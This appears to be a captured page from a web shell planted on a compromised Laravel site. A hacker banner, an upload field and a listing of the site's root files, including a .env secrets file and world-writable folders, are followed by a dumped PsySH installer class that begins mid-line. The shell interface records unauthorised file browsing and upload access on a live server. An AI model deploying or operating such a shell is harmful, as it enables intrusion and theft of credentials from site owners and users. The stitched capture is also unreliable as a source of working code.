I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
tempDirectory = $tempDirectory ?: \sys_get_temp_dir();
$this->installLocation = \Phar::running(false);
}
/**
* Public to allow the Downloader to use the temporary directory if it's been set.
*/
public function getTempDirectory(): string
{
return $this->tempDirectory;
}
/**
* Verify the currently installed PsySH phar is writable so it can be replaced.
*/
public function isInstallLocationWritable(): bool
{
return \is_writable($this->installLocation);
}
/**
* Verify the temporary directory is writable so downloads and backups can be saved there.
*/
public function isTempDirectoryWritable(): bool
{
return \is_writable($this->tempDirectory);
}
/**
* Verifies the downloaded archive can be extracted with \PharData.
*
* @param string $sourceArchive
*/
public function isValidSource(string $sourceArchive): bool
{
if (!\class_exists('\PharData')) {
return false;
}
$pharArchive = new \PharData($sourceArchive);
return $pharArchive->valid();
}
/**
* Extract the "psysh" phar from the archive and move it, replacing the currently installed phar.
*
* @param string $sourceArchive
*/
public function install(string $sourceArchive): bool
{
$pharArchive = new \PharData($sourceArchive);
$outputDirectory = \tempnam($this->tempDirectory, 'psysh-');
// remove the temp file, and replace it with a sub-directory
if (!\unlink($outputDirectory) || !\mkdir($outputDirectory, 0700)) {
return false;
}
$pharArchive->extractTo($outputDirectory, ['psysh'], true);
$renamed = \rename($outputDirectory.'/psysh', $this->installLocation);
// Remove the sub-directory created to extract the psysh binary/phar
\rmdir($outputDirectory);
return $renamed;
}
/**
* Create a backup of the currently installed PsySH phar in the temporary directory with a version number postfix.
*
* @param string $version
*/
public function createBackup(string $version): bool
{
$backupFilename = $this->getBackupFilename($version);
if (\file_exists($backupFilename) && !\is_writable($backupFilename)) {
return false;
}
return \rename($this->installLocation, $backupFilename);
}
/**
* Restore the backup file to the original PsySH install location.
*
* @param string $version
*
* @throws ErrorException If the backup file could not be found
*/
public function restoreFromBackup(string $version): bool
{
$backupFilename = $this->getBackupFilename($version);
if (!\file_exists($backupFilename)) {
throw new ErrorException("Cannot restore from backup. File not found! [{$backupFilename}]");
}
return \rename($backupFilename, $this->installLocation);
}
/**
* Get the full path for the backup target file location.
*
* @param string $version
*/
public function getBackupFilename(string $version): string
{
$installFilename = \basename($this->installLocation);
return \sprintf('%s/%s.%s', $this->tempDirectory, $installFilename, $version);
}
}